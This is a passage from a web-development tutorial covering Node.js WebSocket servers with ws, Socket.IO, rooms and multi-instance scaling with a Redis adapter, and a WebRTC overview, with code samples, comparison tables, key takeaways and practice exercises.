    // Broadcast to every other connected client
    for (const client of wss.clients) {
      if (client !== ws && client.readyState === WebSocket.OPEN) {
        client.send(data, { binary: isBinary });
      }
    }
  });

  ws.on('close', (code, reason) => console.log('closed', code, reason.toString()));
  ws.on('error', console.error);                   // always handle errors to avoid crashes
  ws.send(JSON.stringify({ type: 'welcome', online: wss.clients.size }));
});

Sharing a port with an HTTP or Express server, with authentication. Production servers usually attach WebSocket handling to the existing HTTP server and authenticate during the upgrade, before accepting the connection:

import { createServer } from 'node:http';
import express from 'express';
import { WebSocketServer } from 'ws';

const app = express();
app.get('/health', (req, res) => res.send('ok'));

const server = createServer(app);
const wss = new WebSocketServer({ noServer: true, maxPayload: 64 * 1024 }); // reject messages > 64 KB

const ALLOWED_ORIGINS = new Set(['https://app.example.com']);

server.on('upgrade', async (req, socket, head) => {
  try {
    if (!ALLOWED_ORIGINS.has(req.headers.origin)) throw new Error('bad origin');     // CSWSH protection
    const url = new URL(req.url, 'http://localhost');
    if (url.pathname !== '/ws') throw new Error('not found');
    const user = await authenticate(req);                // session cookie or one-time ticket in the URL
    wss.handleUpgrade(req, socket, head, (ws) => wss.emit('connection', ws, req, user));
  } catch {
    socket.write('HTTP/1.1 401 Unauthorized\r\n\r\n');   // refuse before upgrading
    socket.destroy();
  }
});

wss.on('connection', (ws, req, user) => {
  ws.user = user;
  ws.on('message', (raw) => handleMessage(ws, raw));
});

server.listen(3000);

Heartbeats to remove dead connections.

wss.on('connection', (ws) => {
  ws.isAlive = true;
  ws.on('pong', () => { ws.isAlive = true; });       // browsers answer pings automatically
});

const interval = setInterval(() => {
  for (const ws of wss.clients) {
    if (!ws.isAlive) { ws.terminate(); continue; }   // no pong since last round: kill it
    ws.isAlive = false;
    ws.ping();
  }
}, 30_000);

wss.on('close', () => clearInterval(interval));

Robust message handling. Treat every incoming message as untrusted input:

function handleMessage(ws, raw) {
  let msg;
  try { msg = JSON.parse(raw); } catch { return ws.close(1003, 'Invalid JSON'); } // 1003: unsupported data
  switch (msg.type) {
    case 'chat.message':
      if (typeof msg.text !== 'string' || msg.text.length > 2000) return sendError(ws, msg.id, 'INVALID');
      if (!rateLimitOk(ws.user.id)) return sendError(ws, msg.id, 'RATE_LIMITED');     // 10.4 applies here too
      broadcastToRoom(msg.room, { type: 'chat.message', from: ws.user.name, text: msg.text });
      ws.send(JSON.stringify({ type: 'ack', id: msg.id }));
      break;
    default:
      sendError(ws, msg.id, 'UNKNOWN_TYPE');
  }
}

Operational concerns.

Concern	Practice
Reverse proxy	Forward Upgrade/Connection headers and raise idle timeouts (nginx: proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; proxy_read_timeout 1h;)
Message size	Set maxPayload to stop memory exhaustion attacks
Authorization	Check permissions per message (may this user post to this room?), not only at connect time
Graceful shutdown	On deploy, close sockets with code 1001 so clients reconnect to another instance
Backpressure	Check ws.bufferedAmount before sending to slow clients; drop or disconnect clients that fall too far behind
Memory	Each connection holds buffers; tens of thousands per process are typical, but measure

Alternatives. uWebSockets.js offers much higher throughput with a different API; Deno and Bun include WebSocket servers in their runtimes (Deno.upgradeWebSocket, Bun.serve({ websocket })); frameworks such as Fastify (@fastify/websocket) and NestJS wrap ws; Socket.IO adds a higher-level protocol (next topic).

Key Takeaways

• Node.js has a global WebSocket client but needs a library such as ws for servers.
• Attach the WebSocket server to the HTTP server with noServer and authenticate and check Origin in the upgrade handler.
• Use ping/pong heartbeats to terminate dead connections, and maxPayload to limit message sizes.
• Validate, authorise and rate-limit every incoming message.
• Configure reverse proxies for upgrades and long timeouts; shut down gracefully with close code 1001.

Practice

1. (Beginner) Run the minimal chat server and connect two browser tabs using the client from the previous topic. Confirm that messages from one appear in the other.
2. (Intermediate) Extend the server so users must provide a name in a join message before chatting, announce joins and leaves to everyone, and maintain an online user list.
3. (Interview) "How would you deploy a new version of a WebSocket server without disconnecting all users at once and causing a reconnection storm?" Hint: think about draining instances gradually, close codes, and randomised client reconnection delays.

Socket.IO and Fallback Transports

Socket.IO is a popular library (client and server) that builds a richer real-time framework on top of WebSocket. It is not a WebSocket implementation: it has its own protocol, so a Socket.IO client cannot talk to a plain WebSocket server and vice versa. In exchange it provides features you would otherwise build by hand.

Feature	Plain WebSocket (ws)	Socket.IO
Transport fallback	WebSocket only	HTTP long polling, WebSocket and optionally WebTransport
Automatic reconnection	Build it yourself	Built in, with backoff
Named events	Parse your own type field	socket.emit('chat:message', data)
Acknowledgements	Build with message IDs	Callback or emitWithAck
Rooms and broadcasting	Build it yourself	Built in
Multiple nodes	Build it yourself	Adapters (Redis, Postgres, cluster)
Buffering while offline	Build it yourself	Built in (with volatile events to opt out)
Overhead	Minimal	Small protocol envelope per message; larger client bundle

Transports and the upgrade mechanism. Socket.IO's lower layer, Engine.IO, opens the connection with HTTP long polling, which works through any proxy or firewall, then tries to upgrade to WebSocket in the background, and switches if it succeeds:

1. GET  /socket.io/?EIO=4&transport=polling             -> handshake: session id (sid), ping settings
2. POST /socket.io/?EIO=4&transport=polling&sid=...      -> messages via long polling (works immediately)
3. GET  /socket.io/?EIO=4&transport=websocket&sid=...    -> WebSocket upgrade attempt
4. If the upgrade succeeds, polling is drained and all traffic moves to WebSocket.

Today WebSocket almost always works, so many applications configure transports: ['websocket'] to skip polling and avoid needing sticky sessions (see next topic). The polling fallback remains valuable behind restrictive corporate proxies.

Server.

// npm install socket.io
import { createServer } from 'node:http';
import { Server } from 'socket.io';

const httpServer = createServer();
const io = new Server(httpServer, {
  cors: { origin: 'https://app.example.com', credentials: true },  // the polling transport needs CORS
});

io.use(async (socket, next) => {                    // middleware: runs once per connection
  try {
    socket.data.user = await verifyToken(socket.handshake.auth.token); // token sent by the client
    next();
  } catch {
    next(new Error('unauthorized'));                // client receives a connect_error event
  }
});

io.on('connection', (socket) => {
  console.log(`${socket.data.user.name} connected via ${socket.conn.transport.name}`);

  socket.on('chat:message', (text, ack) => {        // ack: callback provided by the client
    if (typeof text !== 'string' || !text.trim()) return ack({ ok: false, error: 'EMPTY' });
    io.emit('chat:message', { from: socket.data.user.name, text, at: Date.now() }); // to everyone
    ack({ ok: true });
  });

  socket.on('disconnect', (reason) => console.log('disconnected:', reason));
});

httpServer.listen(3000);

Client.

// npm install socket.io-client   (or load /socket.io/socket.io.js served by the server)
import { io } from 'socket.io-client';

const socket = io('https://chat.example.com', {
  auth: { token: accessToken },                     // available as socket.handshake.auth on the server
  // transports: ['websocket'],                     // optional: skip the long-polling phase
});

socket.on('connect', () => console.log('connected', socket.id));
socket.on('connect_error', (err) => console.error('cannot connect:', err.message));
socket.on('chat:message', ({ from, text }) => showMessage(from, text));

const reply = await socket.timeout(5000).emitWithAck('chat:message', 'Hello everyone!');
if (!reply.ok) console.warn('rejected:', reply.error);   // throws if no ack within 5 seconds

When to use which.

Choose Socket.IO when	Choose plain WebSocket when
You want rooms, acknowledgements, reconnection and multi-node broadcasting without building them	You need interoperability with non-Socket.IO clients (IoT devices, other languages, public APIs)
Clients may sit behind proxies that block WebSocket	You need minimal overhead and full control of the protocol
The whole stack is JavaScript/TypeScript (official clients also exist for Java, Swift, Python, and others)	You implement a standard subprotocol (MQTT, STOMP, GraphQL subscriptions)

Key Takeaways

• Socket.IO is a real-time framework with its own protocol on top of WebSocket and HTTP long polling; it is not interchangeable with plain WebSocket.
• Engine.IO starts with long polling and upgrades to WebSocket; you can force WebSocket only.
• Socket.IO adds named events, acknowledgements, automatic reconnection, buffering, rooms and adapters for multiple nodes.
• Authenticate in io.use middleware with socket.handshake.auth; still validate every event.
• Choose plain WebSocket for interoperability and minimal overhead.

Practice

1. (Beginner) Build a Socket.IO chat with a name prompt and observe in the Network panel which transports are used. Then force transports: ['websocket'] and compare.
2. (Intermediate) Add "user is typing" indicators using socket.broadcast.emit with volatile events (dropped if the client is not connected), and explain why volatile is appropriate here but not for chat messages.
3. (Interview) "A colleague connects a native WebSocket client to your Socket.IO server and it fails. Why?" Hint: compare the URL path, the handshake and the packet format each side expects.

Rooms, Broadcasting and Scaling

Real-time applications rarely send every message to every client. A chat message goes to the members of one channel, a document edit to the people viewing that document, a notification to one user's devices. Rooms group connections so messages can be targeted, and broadcasting sends one message to many recipients. Doing this across several server instances is the main scaling challenge of real-time systems.

Rooms in Socket.IO. A room is a named set of sockets on the server (clients do not know which rooms they are in):

io.on('connection', (socket) => {
  const userId = socket.data.user.id;
  socket.join(`user:${userId}`);                    // personal room: reaches all of this user's tabs and devices

  socket.on('room:join', async (roomId, ack) => {
    if (!(await canAccessRoom(userId, roomId))) return ack({ ok: false });   // authorise joins!
    socket.join(roomId);
    socket.to(roomId).emit('room:presence', { userId, status: 'joined' });   // everyone in room except sender
    ack({ ok: true });
  });

  socket.on('room:message', ({ roomId, text }) => {
    if (!socket.rooms.has(roomId)) return;          // only members may post
    io.to(roomId).emit('room:message', { userId, text });                    // everyone in room including sender
  });

  socket.on('room:leave', (roomId) => socket.leave(roomId));
});

// Anywhere in the server (e.g. after a REST request or a background job)
io.to(`user:${42}`).emit('notification', { text: 'Your export is ready' });

Target	Socket.IO expression
Everyone	io.emit(...)
Everyone except the sender	socket.broadcast.emit(...)
Everyone in a room	io.to('room').emit(...)
A room except the sender	socket.to('room').emit(...)
Several rooms (union)	io.to('a').to('b').emit(...)
Everyone except a room	io.except('banned').emit(...)
One user (all their connections)	io.to('user:42').emit(...) (personal room pattern)

The multi-instance problem. With one process, io.to('general') sees every socket. With several instances behind a load balancer, each instance only knows its own connections:

                   Load balancer
               /         |          \
        Instance A   Instance B   Instance C
        (ada, bob)   (carol)      (dave, eve)      all in room "general"

  ada sends a message -> A broadcasts to "general" -> only ada and bob receive it.
  carol, dave and eve never see it.

Solution: a pub/sub backbone. Each instance publishes broadcasts to a shared message broker and delivers messages it receives from the broker to its local sockets. Socket.IO calls this component an adapter:

        Instance A        Instance B        Instance C
            |   ^             |   ^             |   ^
    publish |   | subscribe   |   |             |   |
            v   |             v   |             v   |
        +-----------------------------------------------+
        |         Redis / Valkey pub/sub (or NATS,      |
        |         Kafka, Postgres LISTEN/NOTIFY)         |
        +-----------------------------------------------+
  A publishes "general: msg" -> B and C receive it -> each emits to its local members of "general"

// npm install @socket.io/redis-adapter redis
import { createAdapter } from '@socket.io/redis-adapter';
import { createClient } from 'redis';

const pubClient = createClient({ url: process.env.REDIS_URL });
const subClient = pubClient.duplicate();
await Promise.all([pubClient.connect(), subClient.connect()]);

io.adapter(createAdapter(pubClient, subClient));   // io.to(room).emit now reaches all instances

With plain ws, you implement the same pattern yourself: subscribe each instance to Redis channels and forward messages to local sockets in the matching room.

Sticky sessions. Socket.IO's long-polling transport sends several HTTP requests that must all reach the instance holding the session. The load balancer must route by cookie or client IP (sticky sessions). With WebSocket-only transport, the single long-lived connection stays on one instance by nature, and stickiness is not required.

Capacity planning.

Factor	Consideration
Connections per instance	Mostly memory bound: tens of thousands per Node.js process is common; measure with realistic traffic
File descriptors	Each connection is an open socket; raise OS limits (ulimit -n)
Fan-out	One message to a 50,000-member room means 50,000 sends; large broadcasts may need batching or dedicated services
Reconnection storms	After a deploy or outage all clients reconnect at once; use jittered backoff and gradual instance draining
Presence and state	"Who is online" must live in shared storage (Redis), not in instance memory
Managed services	Ably, Pusher, AWS API Gateway WebSockets, Cloudflare Durable Objects and similar services handle connections and fan-out for you

Key Takeaways

• Rooms group connections for targeted messages; broadcasting sends one message to many sockets.
• Authorise room joins and messages on the server; personal rooms (user:<id>) reach all of a user's devices.
• Multiple instances need a pub/sub backbone (Socket.IO adapters, Redis, NATS) so broadcasts reach every instance.
• Long polling requires sticky sessions; WebSocket-only transport does not.
• Plan for memory, file descriptors, fan-out cost, reconnection storms and shared presence state.

Practice

1. (Beginner) Extend a Socket.IO chat with multiple channels that users can join and leave, showing messages only to members of each channel.
2. (Intermediate) Run two instances of the chat server on different ports with the Redis adapter, connect clients to each, and verify that messages cross instances. Then remove the adapter and observe the difference.
3. (Interview) "Design the real-time layer for a collaborative document editor used by 100,000 concurrent users." Hint: consider rooms per document, where document state lives, pub/sub between instances, presence, and what happens when an instance dies.

WebRTC Overview

All the techniques so far route data through a server. WebRTC (Web Real-Time Communication) lets browsers send audio, video and arbitrary data directly to each other, peer to peer. It powers video calls (Google Meet, Discord, many telehealth and customer-support tools), screen sharing, and low-latency file transfer or game data. Going peer to peer minimises latency and server bandwidth, but connecting two devices hidden behind home routers and firewalls is surprisingly hard, and WebRTC's complexity comes mostly from solving that.

Building blocks.

Component	Role
getUserMedia() / getDisplayMedia()	Capture camera, microphone or screen as a MediaStream (6.4)
RTCPeerConnection	The connection between two peers: negotiation, encryption, media transport, bandwidth adaptation
RTCDataChannel	Arbitrary data over the peer connection, reliable or unreliable, ordered or unordered
SDP (Session Description Protocol)	Text description of each peer's media capabilities, codecs and connection parameters (offer and answer)
ICE (Interactive Connectivity Establishment)	Finds a working network path between the peers by trying candidate addresses
STUN server	Tells a peer its public IP address and port as seen from the Internet
TURN server	Relays traffic when no direct path is possible (strict NATs, corporate firewalls)
Signaling	Exchanging offers, answers and ICE candidates between peers; not defined by WebRTC (usually WebSocket)

Connection setup.

   Peer A (caller)            Signaling server (e.g. WebSocket)            Peer B (callee)
        |  createOffer() -> SDP offer                                           |
        |  setLocalDescription(offer)                                           |
        |------------ offer ------------------>|----------- offer ------------->|
        |                                      |       setRemoteDescription(offer)
        |                                      |       createAnswer(), setLocalDescription
        |<----------- answer ------------------|<---------- answer -------------|
        |  setRemoteDescription(answer)                                         |
        |<========== ICE candidates exchanged both ways via signaling =========>|
        |       (host addresses, STUN-discovered public addresses, TURN relays) |
        |                                                                       |
        |<================ direct (or TURN-relayed) encrypted media/data ======>|
                       DTLS-SRTP for media, SCTP over DTLS for data channels

NAT traversal:
  Peer A (192.168.1.10) -- home router (public 198.51.100.4) --- Internet --- office NAT --- Peer B
        |                                                                                     |
        +-- asks STUN: "what is my public address?" -> 198.51.100.4:53122                     |
  ICE tries pairs of candidates: host-host (same LAN), public-public (most home networks),
  and finally relay via TURN (used by a minority of connections, but essential for reliability)

A data channel between two peers (simplified).

const config = {
  iceServers: [
    { urls: 'stun:stun.l.google.com:19302' },                          // public STUN server
    { urls: 'turn:turn.example.com:3478', username: 'u', credential: 'p' }, // your TURN server
  ],
};
const pc = new RTCPeerConnection(config);
const signaling = new WebSocket('wss://signal.example.com/room/42');   // any channel works for signaling

// Send our ICE candidates to the other peer as they are discovered
pc.onicecandidate = ({ candidate }) => {
  if (candidate) signaling.send(JSON.stringify({ type: 'candidate', candidate }));
};

// Caller: create a data channel and an offer
async function call() {
  const channel = pc.createDataChannel('chat');                        // reliable and ordered by default
  channel.onopen = () => channel.send('Hello, peer!');
  channel.onmessage = (e) => console.log('peer says:', e.data);
  const offer = await pc.createOffer();
  await pc.setLocalDescription(offer);
  signaling.send(JSON.stringify({ type: 'offer', sdp: pc.localDescription }));
}

// Callee: receive the channel created by the caller
pc.ondatachannel = ({ channel }) => {
  channel.onmessage = (e) => console.log('peer says:', e.data);
};

// Both: handle signaling messages
signaling.onmessage = async ({ data }) => {
  const msg = JSON.parse(data);
  if (msg.type === 'offer') {
    await pc.setRemoteDescription(msg.sdp);
    await pc.setLocalDescription(await pc.createAnswer());
    signaling.send(JSON.stringify({ type: 'answer', sdp: pc.localDescription }));
  } else if (msg.type === 'answer') {
    await pc.setRemoteDescription(msg.sdp);
  } else if (msg.type === 'candidate') {
    await pc.addIceCandidate(msg.candidate);
  }
};

For a video call, add const stream = await navigator.mediaDevices.getUserMedia({ video: true, audio: true }), then stream.getTracks().forEach((t) => pc.addTrack(t, stream)) on each side, and attach remote tracks from pc.ontrack to a <video> element.

Topologies for group calls. Pure peer to peer (mesh) works for two to four participants; each peer uploads its stream to every other peer, so bandwidth grows quickly. Larger calls use media servers:

Topology	How	Scales to	Trade-offs
Mesh (P2P)	Every peer connects to every other	~4 participants	No media server; upload bandwidth grows with each participant
SFU (Selective Forwarding Unit)	Each peer sends one stream to a server, which forwards it to the others	Hundreds (with simulcast)	The standard for group calls (mediasoup, LiveKit, Janus, Jitsi)
MCU (Multipoint Control Unit)	Server decodes and mixes all streams into one	Many viewers	Heavy server CPU; adds latency

WebRTC vs WebSocket.

	WebSocket	WebRTC
Path	Client to server	Peer to peer (or via TURN/SFU)
Transport	TCP (reliable, ordered)	UDP-based: media via SRTP, data via SCTP (configurable reliability)
Media	Not designed for it	Built-in codecs, jitter buffers, echo cancellation, bandwidth adaptation
Setup	One handshake	Signaling + ICE negotiation
Encryption	Optional (wss://)	Mandatory (DTLS, SRTP)
Typical use	Chat, notifications, collaboration, game servers	Calls, screen sharing, P2P file transfer, low-latency game data

Key Takeaways

• WebRTC enables encrypted, peer-to-peer audio, video and data between browsers.
• RTCPeerConnection negotiates via SDP offers and answers; ICE finds a network path using STUN and, when necessary, TURN relays.
• Signaling (exchanging offers, answers and candidates) is not part of WebRTC; WebSocket is the common choice.
• Data channels offer reliable or unreliable, ordered or unordered delivery.
• Group calls beyond a few people use SFUs; WebRTC complements rather than replaces WebSocket.

Practice

1. (Beginner) Open about:webrtc in Firefox or chrome://webrtc-internals in Chrome during a video call and identify the ICE candidate types used (host, srflx, relay).
2. (Intermediate) Build a two-tab demo where both RTCPeerConnections live in the same page (or use a BroadcastChannel for signaling between tabs) and exchange text over a data channel, then add camera video.
3. (Interview) "Why does a WebRTC application still need servers if the media flows peer to peer?" Hint: list the roles of signaling, STUN and TURN servers, and when an SFU becomes necessary.

<a id="11-nodejs-server-side-javascript-runtime"></a>